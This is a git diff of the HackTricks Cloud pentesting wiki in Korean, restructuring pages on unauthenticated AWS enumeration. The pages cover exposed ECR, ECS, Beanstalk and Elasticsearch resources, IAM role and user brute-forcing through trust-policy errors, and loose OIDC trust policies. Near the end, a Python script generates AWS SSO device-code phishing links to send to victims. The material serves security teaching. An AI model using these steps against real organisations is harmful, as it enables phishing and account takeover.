Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump)를 확인하세요. +누구나 복원할 수 있는 스냅샷을 발견하면, 스냅샷을 다운로드하고 탈취하는 방법에 대해서는 [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump)를 반드시 확인하세요. #### 공개 URL 템플릿 ```bash @@ -47,8 +47,8 @@ ec2-{ip-seperated}.compute-1.amazonaws.com http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443 https://{user_provided}-{random_id}.{region}.elb.amazonaws.com ``` -### 퍼블릭 IP가 있는 EC2 인스턴스 나열하기 +### 공개 IP를 가진 EC2 인스턴스 열거 ```bash aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md deleted file mode 100644 index 481224b73..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md +++ /dev/null @@ -1,30 +0,0 @@ -# AWS - ECR 인증되지 않은 열거 - -{{#include ../../../banners/hacktricks-training.md}} - -## ECR - -자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-ecr-enum.md -{{#endref}} - -### 공개 레지스트리 리포지토리 (이미지) - -ECS Enum 섹션에서 언급했듯이, 공개 레지스트리는 **누구나 접근할 수 있습니다** 형식은 **`public.ecr.aws//`**입니다. 공격자가 공개 리포지토리 URL을 찾으면 **이미지를 다운로드하고 메타데이터 및 이미지 내용에서 민감한 정보를 검색할 수 있습니다.** -```bash -aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text -``` -> [!WARNING] -> 이것은 **개인 레지스트리**에서도 발생할 수 있으며, 레지스트리 정책이나 리포지토리 정책이 **예를 들어 `"AWS": "*"`**에 대한 접근을 허용하고 있습니다. AWS 계정이 있는 누구나 해당 리포지토리에 접근할 수 있습니다. - -### 개인 리포지토리 열거 - -도구 [**skopeo**](https://github.com/containers/skopeo)와 [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md)를 사용하여 개인 레지스트리 내에서 접근 가능한 리포지토리를 나열할 수 있습니다. -```bash -# Get image names -skopeo list-tags docker:// | grep -oP '(?<=^Name: ).+' -crane ls | sed 's/ .*//' -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md new file mode 100644 index 000000000..751f64b8c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md @@ -0,0 +1,30 @@ +# AWS - ECR Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECR + +자세한 내용은 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-ecr-enum.md +{{#endref}} + +### Public registry 저장소(이미지) + +앞서 ECS Enum 섹션에서 언급한 바와 같이, public registry는 **누구나 접근할 수 있으며** 형식은 **`public.ecr.aws//`** 입니다. 공개 저장소 URL을 공격자가 발견하면, 해당 이미지를 **다운로드하고 이미지의 메타데이터와 내용에서 민감한 정보를 검색할 수 있습니다**. +```bash +aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text +``` +> [!WARNING] +> 이 문제는 레지스트리 정책이나 리포지토리 정책이 예를 들어 **`"AWS": "*"`** 로 접근을 허용하는 경우 **private registries**에서도 발생할 수 있습니다. AWS 계정을 가진 누구나 해당 repo에 접근할 수 있습니다. + +### Private Repo 열거 + +도구 [**skopeo**](https://github.com/containers/skopeo) 및 [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) 를 사용하여 프라이빗 레지스트리 내에서 접근 가능한 저장소를 나열할 수 있습니다. +```bash +# Get image names +skopeo list-tags docker:// | grep -oP '(?<=^Name: ).+' +crane ls | sed 's/ .*//' +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md deleted file mode 100644 index 9bed9fb34..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md +++ /dev/null @@ -1,23 +0,0 @@ -# AWS - ECS 인증되지 않은 열거 - -{{#include ../../../banners/hacktricks-training.md}} - -## ECS - -자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-ecs-enum.md -{{#endref}} - -### ECS 서비스에 대한 공개 접근 가능한 보안 그룹 또는 로드 밸런서 - -**인터넷(0.0.0.0/0 또는 ::/0)에서의 수신 트래픽을 허용하는** 잘못 구성된 보안 그룹은 AWS 리소스를 공격에 노출시킬 수 있습니다. -```bash -# Example of detecting misconfigured security group for ECS services -aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]' - -# Example of detecting a publicly accessible load balancer for ECS services -aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]' -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md new file mode 100644 index 000000000..c84992022 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md @@ -0,0 +1,23 @@ +# AWS - ECS Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECS + +자세한 정보는 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-ecs-enum.md +{{#endref}} + +### ECS Services에 대한 공개적으로 접근 가능한 Security Group 또는 Load Balancer + +잘못 구성된 security group이 **allows inbound traffic from the internet (0.0.0.0/0 or ::/0)** 하도록 설정되어 있을 경우, Amazon ECS services의 AWS 리소스가 공격에 노출될 수 있습니다. +```bash +# Example of detecting misconfigured security group for ECS services +aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]' + +# Example of detecting a publicly accessible load balancer for ECS services +aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]' +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md deleted file mode 100644 index cb8cbed12..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md +++ /dev/null @@ -1,35 +0,0 @@ -# AWS - Elastic Beanstalk Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## Elastic Beanstalk - -자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-elastic-beanstalk-enum.md -{{#endref}} - -### 웹 취약점 - -기본적으로 Beanstalk 환경은 **Metadatav1이 비활성화되어 있습니다**. - -Beanstalk 웹 페이지의 형식은 **`https://-env..elasticbeanstalk.com/`**입니다. - -### 안전하지 않은 보안 그룹 규칙 - -잘못 구성된 보안 그룹 규칙은 Elastic Beanstalk 인스턴스를 공개적으로 노출시킬 수 있습니다. **민감한 포트에서 모든 IP 주소(0.0.0.0/0)로부터의 트래픽을 허용하는 과도하게 허용된 수신 규칙은 공격자가 인스턴스에 접근할 수 있게 할 수 있습니다**. - -### 공개적으로 접근 가능한 로드 밸런서 - -Elastic Beanstalk 환경이 로드 밸런서를 사용하고 로드 밸런서가 공개적으로 접근 가능하도록 구성된 경우, 공격자는 **로드 밸런서에 직접 요청을 보낼 수 있습니다**. 이는 공개적으로 접근 가능한 웹 애플리케이션에는 문제가 되지 않을 수 있지만, 개인 애플리케이션이나 환경에는 문제가 될 수 있습니다. - -### 공개적으로 접근 가능한 S3 버킷 - -Elastic Beanstalk 애플리케이션은 배포 전에 종종 S3 버킷에 저장됩니다. 애플리케이션이 포함된 S3 버킷이 공개적으로 접근 가능하다면, 공격자는 **애플리케이션 코드를 다운로드하고 취약점이나 민감한 정보를 검색할 수 있습니다**. - -### 공개 환경 열거 -```bash -aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md new file mode 100644 index 000000000..af2dedcf3 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md @@ -0,0 +1,35 @@ +# AWS - Elastic Beanstalk Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## Elastic Beanstalk + +For more information check: + +{{#ref}} +../../aws-services/aws-elastic-beanstalk-enum.md +{{#endref}} + +### 웹 취약점 + +기본적으로 Beanstalk 환경은 **Metadatav1이 비활성화되어 있습니다**. + +Beanstalk 웹 페이지의 형식은 **`https://-env..elasticbeanstalk.com/`** 입니다. + +### 보안 그룹 규칙의 잘못된 구성 + +보안 그룹 규칙이 잘못 구성되면 Elastic Beanstalk 인스턴스가 공개에 노출될 수 있습니다. **민감한 포트에 대해 모든 IP 주소(0.0.0.0/0)에서의 트래픽을 허용하는 것과 같은 과도하게 관대한 수신 규칙은 공격자가 인스턴스에 접근할 수 있도록 할 수 있습니다**. + +### Publicly Accessible Load Balancer + +Elastic Beanstalk 환경이 load balancer를 사용하고 해당 load balancer가 공개 접근 가능하도록 구성되어 있으면, 공격자는 **로드 밸런서로 직접 요청을 보낼 수 있습니다**. 이것은 공개 접근을 의도한 웹 애플리케이션에는 문제가 되지 않을 수 있지만, 사설 애플리케이션이나 환경에는 문제가 될 수 있습니다. + +### Publicly Accessible S3 Buckets + +Elastic Beanstalk 애플리케이션은 배포 전에 종종 S3 버킷에 저장됩니다. 애플리케이션을 포함한 S3 버킷이 공개 접근 가능하면 공격자는 **애플리케이션 코드를 다운로드하여 취약점이나 민감한 정보를 검색할 수 있습니다**. + +### 공개 환경 열거 +```bash +aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md similarity index 50% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md index 349cd3908..0edeb8e53 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md @@ -1,10 +1,10 @@ -# AWS - Elasticsearch Unauthenticated Enum +# AWS - Elasticsearch 인증되지 않은 열거 -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ### 공개 URL 템플릿 ``` https://vpc-{user_provided}-[random].[region].es.amazonaws.com https://search-{user_provided}-[random].[region].es.amazonaws.com ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md deleted file mode 100644 index 5c21d63b8..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md +++ /dev/null @@ -1,162 +0,0 @@ -# AWS - IAM & STS 인증되지 않은 열거 - -{{#include ../../../banners/hacktricks-training.md}} - -## 계정의 역할 및 사용자 이름 열거 - -### ~~역할 가정 무차별 대입~~ - -> [!CAUTION] -> **이 기술은 더 이상 작동하지 않습니다**. 역할이 존재하든 존재하지 않든 항상 다음 오류가 발생합니다: -> -> `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas` -> -> **다음 명령어를 실행하여 테스트할 수 있습니다**: -> -> `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` - -필요한 권한 없이 **역할을 가정하려고 하면** AWS 오류 메시지가 발생합니다. 예를 들어, 권한이 없는 경우 AWS는 다음과 같은 메시지를 반환할 수 있습니다: -```ruby -An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS -``` -이 메시지는 역할의 존재를 확인하지만, 해당 역할의 가정 정책이 당신의 가정을 허용하지 않음을 나타냅니다. 반면, **존재하지 않는 역할을 가정하려고 하면 다른 오류가 발생합니다**: -```less -An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole -``` -흥미롭게도, **존재하는 역할과 존재하지 않는 역할을 구별하는** 이 방법은 서로 다른 AWS 계정 간에도 적용 가능합니다. 유효한 AWS 계정 ID와 타겟 단어 목록이 있으면, 본인의 계정에 존재하는 역할을 열거할 수 있으며, 본질적인 제한에 직면하지 않습니다. - -이 문제를 악용하여 잠재적인 주체를 열거하는 [스크립트](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum)를 사용할 수 있습니다. - -### 신뢰 정책: 크로스 계정 역할 및 사용자에 대한 무차별 대입 - -**IAM 역할의 신뢰 정책을 구성하거나 업데이트하는 것은 어떤 AWS 리소스나 서비스가 해당 역할을 맡고 임시 자격 증명을 얻을 수 있는지를 정의하는 것을 포함합니다.** 정책에 지정된 리소스가 **존재하면**, 신뢰 정책은 **성공적으로** 저장됩니다. 그러나 리소스가 **존재하지 않으면**, **오류가 발생**하여 잘못된 주체가 제공되었음을 나타냅니다. - -> [!WARNING] -> 해당 리소스에서 크로스 계정 역할이나 사용자를 지정할 수 있다는 점에 유의하십시오: -> -> - `arn:aws:iam::acc_id:role/role_name` -> - `arn:aws:iam::acc_id:user/user_name` - -다음은 정책 예시입니다: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam::216825089941:role/Test" -}, -"Action": "sts:AssumeRole" -} -] -} -``` -#### GUI - -존재하지 않는 **역할**을 사용하면 이 **오류**가 발생합니다. 역할이 **존재**하면 정책이 오류 없이 **저장**됩니다. (이 오류는 업데이트에 대한 것이지만 생성할 때도 작동합니다) - -![](<../../../images/image (153).png>) - -#### CLI -```bash -### You could also use: aws iam update-assume-role-policy -# When it works -aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json -{ -"Role": { -"Path": "/", -"RoleName": "Test-Role", -"RoleId": "AROA5ZDCUJS3DVEIYOB73", -"Arn": "arn:aws:iam::947247140022:role/Test-Role", -"CreateDate": "2022-05-03T20:50:04Z", -"AssumeRolePolicyDocument": { -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam::316584767888:role/account-balance" -}, -"Action": [ -"sts:AssumeRole" -] -} -] -} -} -} - -# When it doesn't work -aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json -An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2" -``` -이 프로세스는 [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools)로 자동화할 수 있습니다. - -- `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt` - -[Pacu](https://github.com/RhinoSecurityLabs/pacu)를 사용하여: - -- `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` -- `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` -- 예제에서 사용된 `admin` 역할은 **pacu가 열거를 위해 필요한 정책을 생성하기 위해 가장할 수 있는 귀하의 계정의 역할**입니다. - -### Privesc - -역할이 잘못 구성되어 누구나 이를 가정할 수 있는 경우: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"AWS": "*" -}, -"Action": "sts:AssumeRole" -} -] -} -``` -공격자는 그것을 가정할 수 있습니다. - -## 제3자 OIDC 연합 - -**AWS** 내의 **역할**에 접근하는 **Github Actions 워크플로우**를 읽을 수 있다고 상상해 보십시오.\ -이 신뢰는 다음과 같은 **신뢰 정책**을 가진 역할에 대한 접근을 제공할 수 있습니다: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com" -}, -"Action": "sts:AssumeRoleWithWebIdentity", -"Condition": { -"StringEquals": { -"token.actions.githubusercontent.com:aud": "sts.amazonaws.com" -} -} -} -] -} -``` -이 신뢰 정책은 올바를 수 있지만, **더 많은 조건의 부족**으로 인해 신뢰하지 않아야 합니다.\ -이것은 이전 역할이 **Github Actions의 누구든지** 가정할 수 있기 때문입니다! 조건에 조직 이름, 저장소 이름, 환경, 브랜치와 같은 다른 사항도 명시해야 합니다... - -또 다른 잠재적인 잘못된 구성은 다음과 같은 **조건을 추가하는** 것입니다: -```json -"StringLike": { -"token.actions.githubusercontent.com:sub": "repo:org_name*:*" -} -``` -**콜론** (:) 앞에 **와일드카드** (\*)가 있다는 점에 유의하세요. **org_name1**과 같은 조직을 만들고 **역할을 가정**할 수 있습니다. - -## 참조 - -- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) -- [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md new file mode 100644 index 000000000..264dabff8 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md @@ -0,0 +1,162 @@ +# AWS - IAM & STS 인증되지 않은 열거 + +{{#include ../../../../banners/hacktricks-training.md}} + +## 계정에서 역할 및 사용자 이름 열거 + +### ~~Assume Role Brute-Force~~ + +> [!CAUTION] +> **이 기술은 더 이상 작동하지 않습니다** — 역할이 존재하든 아니든 항상 다음 오류가 반환됩니다: +> +> `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas` +> +> 다음 명령으로 **확인할 수 있습니다**: +> +> `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` + +필요한 권한 없이 **assume a role**을 시도하면 AWS 오류 메시지가 발생합니다. 예를 들어, 권한이 없으면 AWS는 다음과 같은 응답을 반환할 수 있습니다: +```ruby +An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS +``` +이 메시지는 role의 존재를 확인해 주지만, 그 role의 assume role policy가 귀하가 해당 role을 assume하는 것을 허용하지 않는다는 것을 나타냅니다. 반면, **assume a non-existent role leads to a different error**: +```less +An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole +``` +흥미롭게도, 이 방법은 **존재하는 역할과 존재하지 않는 역할을 구별하는 것**이 서로 다른 AWS 계정 간에도 적용됩니다. 유효한 AWS account ID와 목표 단어 목록(wordlist)이 있으면, 계정에 존재하는 역할을 별다른 제약 없이 열거할 수 있습니다. + +You can use this [script to enumerate potential principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusing this issue. + +### Trust Policies: Brute-Force Cross Account roles and users + +Configuring or updating an **IAM role's trust policy involves defining which AWS resources or services are permitted to assume that role** and obtain temporary credentials. If the specified resource in the policy **exists**, the trust policy saves **successfully**. However, if the resource **does not exist**, an **error is generated**, indicating that an invalid principal was provided. + +> [!WARNING] +> 해당 리소스에 cross account role 또는 user를 지정할 수 있다는 점에 유의하세요: +> +> - `arn:aws:iam::acc_id:role/role_name` +> - `arn:aws:iam::acc_id:user/user_name` + +이것은 정책 예시입니다: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::216825089941:role/Test" +}, +"Action": "sts:AssumeRole" +} +] +} +``` +#### GUI + +다음은 **존재하지 않는 역할**을 사용할 때 나타나는 **오류**입니다. 해당 역할이 **존재하면**, 정책은 아무런 오류 없이 **저장됩니다**. (이 오류는 업데이트 시 발생하지만, 생성 시에도 동일하게 적용됩니다) + +![](<../../../images/image (153).png>) + +#### CLI +```bash +### You could also use: aws iam update-assume-role-policy +# When it works +aws iam create-role --role-name Test-Role --assume-role-policy-document file://a.json +{ +"Role": { +"Path": "/", +"RoleName": "Test-Role", +"RoleId": "AROA5ZDCUJS3DVEIYOB73", +"Arn": "arn:aws:iam::947247140022:role/Test-Role", +"CreateDate": "2022-05-03T20:50:04Z", +"AssumeRolePolicyDocument": { +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::316584767888:role/account-balance" +}, +"Action": [ +"sts:AssumeRole" +] +} +] +} +} +} + +# When it doesn't work +aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json +An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2" +``` +이 과정을 [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools)로 자동화할 수 있습니다 + +- `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt` + +또는 [Pacu](https://github.com/RhinoSecurityLabs/pacu) 사용: + +- `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` +- `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` +- 예제에서 사용된 `admin` role은 pacu가 열거를 위해 필요한 정책을 생성하기 위해 가장하여 사용하는 **귀하의 계정 내 role**입니다 + +### Privesc + +만약 role이 잘못 구성되어 누구나 이를 assume할 수 있도록 허용된 경우: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "sts:AssumeRole" +} +] +} +``` +공격자는 단순히 해당 role을 assume할 수 있다. + +## 타사 OIDC Federation + +당신이 **Github Actions workflow**가 **AWS** 내부의 **role**에 접근하는 것을 읽을 수 있게 되었다고 가정해보자.\ +이 신뢰 설정은 다음과 같은 **trust policy**를 가진 role에 대한 접근 권한을 부여할 수 있다: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam:::oidc-provider/token.actions.githubusercontent.com" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"token.actions.githubusercontent.com:aud": "sts.amazonaws.com" +} +} +} +] +} +``` +이 신뢰 정책은 올바를 수 있지만, **더 많은 조건의 부재** 때문에 신뢰하지 않아야 합니다.\ +이는 이전 역할이 **ANYONE from Github Actions**에 의해 맡겨질 수 있기 때문입니다! 조건에는 org name, repo name, env, brach 등도 지정해야 합니다... + +또 다른 잠재적 잘못된 구성은 다음과 같이 **조건을 추가하는 것**입니다: +```json +"StringLike": { +"token.actions.githubusercontent.com:sub": "repo:org_name*:*" +} +``` +참고: **wildcard** (\*)는 **colon** (:) 앞에 옵니다. 예를 들어 **org_name1** 같은 org를 생성하고 Github Action에서 **assume the role**할 수 있습니다. + +## 참고 + +- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) +- [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md deleted file mode 100644 index 1bfdc6cc2..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md +++ /dev/null @@ -1,123 +0,0 @@ -# AWS - Identity Center & SSO Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## AWS Device Code Phishing - -처음 [**이 블로그 게시물**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/)에서 제안된 바와 같이, AWS SSO를 사용하는 사용자에게 **링크**를 전송할 수 있으며, 사용자가 **수락하면** 공격자는 **사용자를 가장할 수 있는 토큰**을 얻고 **Identity Center**에서 사용자가 접근할 수 있는 모든 역할에 접근할 수 있습니다. - -이 공격을 수행하기 위한 전제 조건은 다음과 같습니다: - -- 피해자는 **Identity Center**를 사용해야 합니다. -- 공격자는 피해자가 사용하는 **서브도메인**을 알아야 합니다 `.awsapps.com/start` - -이전 정보만으로도, **공격자는 사용자에게 링크를 전송할 수 있으며**, 사용자가 **수락하면** **공격자는 AWS 사용자** 계정에 대한 접근 권한을 얻게 됩니다. - -### Attack - -1. **Finding the subdomain** - -공격자의 첫 번째 단계는 피해자 회사가 Identity Center에서 사용하는 서브도메인을 찾는 것입니다. 이는 **OSINT** 또는 **추측 + BF**를 통해 수행할 수 있으며, 대부분의 회사는 여기에서 자신의 이름이나 이름의 변형을 사용할 것입니다. - -이 정보를 통해 Identity Center가 구성된 지역을 알 수 있습니다: -```bash -curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"' -"region":"us-east-1 -``` -2. **피해자를 위한 링크 생성 및 전송** - -다음 코드를 실행하여 피해자가 인증할 수 있도록 AWS SSO 로그인 링크를 생성합니다.\ -데모를 위해 이 코드를 파이썬 콘솔에서 실행하고 종료하지 마십시오. 나중에 토큰을 얻기 위해 일부 객체가 필요합니다: -```python -import boto3 - -REGION = 'us-east-1' # CHANGE THIS -AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS - -sso_oidc = boto3.client('sso-oidc', region_name=REGION) -client = sso_oidc.register_client( -clientName = 'attacker', -clientType = 'public' -) - -client_id = client.get('clientId') -client_secret = client.get('clientSecret') -authz = sso_oidc.start_device_authorization( -clientId=client_id, -clientSecret=client_secret, -startUrl=AWS_SSO_START_URL -) - -url = authz.get('verificationUriComplete') -deviceCode = authz.get('deviceCode') -print("Give this URL to the victim: " + url) -``` -피해자에게 생성된 링크를 당신의 멋진 사회 공학 기술을 사용하여 보내세요! - -3. **피해자가 수락할 때까지 기다리세요** - -피해자가 **이미 AWS에 로그인한 경우** 권한 부여를 수락하기만 하면 됩니다. 로그인하지 않은 경우 **로그인한 후 권한 부여를 수락해야 합니다**.\ -현재 프롬프트는 다음과 같습니다: - -
